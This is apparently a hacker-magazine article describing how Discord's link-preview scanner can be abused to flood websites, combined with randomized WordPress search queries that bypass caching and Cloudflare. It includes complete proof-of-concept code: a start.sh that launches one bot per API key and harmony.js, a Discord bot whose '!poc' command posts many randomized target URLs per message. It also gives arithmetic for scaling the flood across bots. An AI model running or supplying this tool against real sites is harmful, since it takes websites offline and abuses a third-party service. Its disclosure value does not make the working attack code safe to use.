Using Discord Servers to HTTP Flood

by xnite

In October, I decided to check out a possible flaw in Discord, a popular voice/text chat application that can be run in the web browser.

Since the service uses a scanner to scan links posted in chat, I wanted to check if that scanner could be used to launch a Denial of Service (DoS) attack.

As things would have it, you can post multiple variations of links in a single message and, for each time, Discord will make a request to that link.  On average, you can post the link about 20 to 50 times in a message, and roughly four messages per second before rate limiting kicks in.

In theory, a single client can send a maximum of 50 * 4 requests per second (200 requests per second) as long as you use a different variation of the link each time (i.e., https://example.com/image.png?id=1, https://example.com/image.png?id=2, etc.

This doesn't sound like a lot, sure, but there are some fairly potent methods of DoS out there that we can utilize here to make this a nasty attack.  A very effective DoS method to use against WordPress is to send randomized search requests to a website, so this is what I will be talking about and testing against.

Before I begin, here's a primer on the WordPress issue.

With WordPress, you can make search requests by grabbing up "/index.php?s=#" where "#" is your search term.

To leverage search for a DoS attack all you need to do is flood it with many requests for random terms.  This method bypasses caching on the website and MySQL server alike.  The attack causes stress on not only the web server, but the MySQL server too.  This method also tends to pass right through Cloudflare making it an ideal choice for this Discord DoS attack.

Utilizing the Discord API, I wrote a bot that would wait for commands on any Discord server it is invited into.

The bot leverages the URL scanner on Discord to make requests to the given target website by making a bunch of requests in single messages to flood out the URL scanner.  The bot takes the command:

!poc U L R

"U" represents the base URL (e.g. https://example.com/index.php?s=).

"L" represents the number of loops (per bot).

"R" represents the number of requests per message.

The command might look something like this:

!poc https://example.com/index.php?s= 10000 30

With multiple bots running, you can make 4 * (B * R) where "B" represents the number of bots, and "R" represents the number of requests per message.

If you have five bots, each making 50 requests per message, you would be making 4 * (5 * 50), or 2,000 requests per second.

With only five bots, I was able to take down my test WordPress installation in its default configuration, on a Nginx web server, also with default configuration including WordPress configuration.

Unfortunately, I'm fairly certain wordpress.com sites are protected from this sort of attack, but then again I haven't tried it.

My proof-of-concept source code will be available at gitlab.com/xnite/harmony as soon as this issue is published.

If you have any questions, comments, or concerns, you can open an issue there.


README:

== Before Use ==
To execute this bot you must first run 'npm install --save discord.js'
Make sure that you have screen installed before executing start.sh
Make sure you have written a list of API keys into a file named api_keys before trying to use the start script
 
== Usage ==
Please type '!poc' into discord chat on it's own to see usage instructions for this command.

start.sh:

#!/bin/bash
# start.sh
while read p;
  do
    screen -dm nodejs harmony.js $p
  done < api_keys

harmony.js:

/*
 * Harmony.js
 * Authored by Robert Whitney <xnite@xnite.me>
 * A proof of concpent DDoS tool using Discord to launch attacks.
 * Run multiple bots with this script for maximum impact. (See README.txt)
 * FOR EDUCATIONAL PURPOSES ONLY!!
 */

if (process.argv[2].length <= 1) {
  console.log("Invalid bot token!");
  process.exit(1);
}

const Discord = require('discord.js');
const token = process.argv[2];
const client = new Discord.Client();

client.on('ready', () => {
  console.log('I am ready!');
});

client.on('message', message => {
  var buffer = message.content.split(" ");
  if (buffer[0] === '!poc') {
    if (buffer[3] == null) {
      message.reply("\n**Usage:** !poc _base-url_ _loops_ _requests-per-message_\n**Example:** `!poc https://example.com/image.php?id= 1000 10`");
    } 
    else {
    loops = 1;
    while (loops <= buffer[2]) {
      var lines = [];
      requests = 1;
      while (requests <= buffer[3]) {
        lines.push(buffer[1] + Math.floor((Math.random() * 9999999999999) + 1));
        requests++;	
      }
      var line = lines.join("\n");
      message.reply(line.substring(0,1936));
      loops++;
      }
    }
  }	
});

client.login(token);

Code: harmony.js

Return to $2600 Index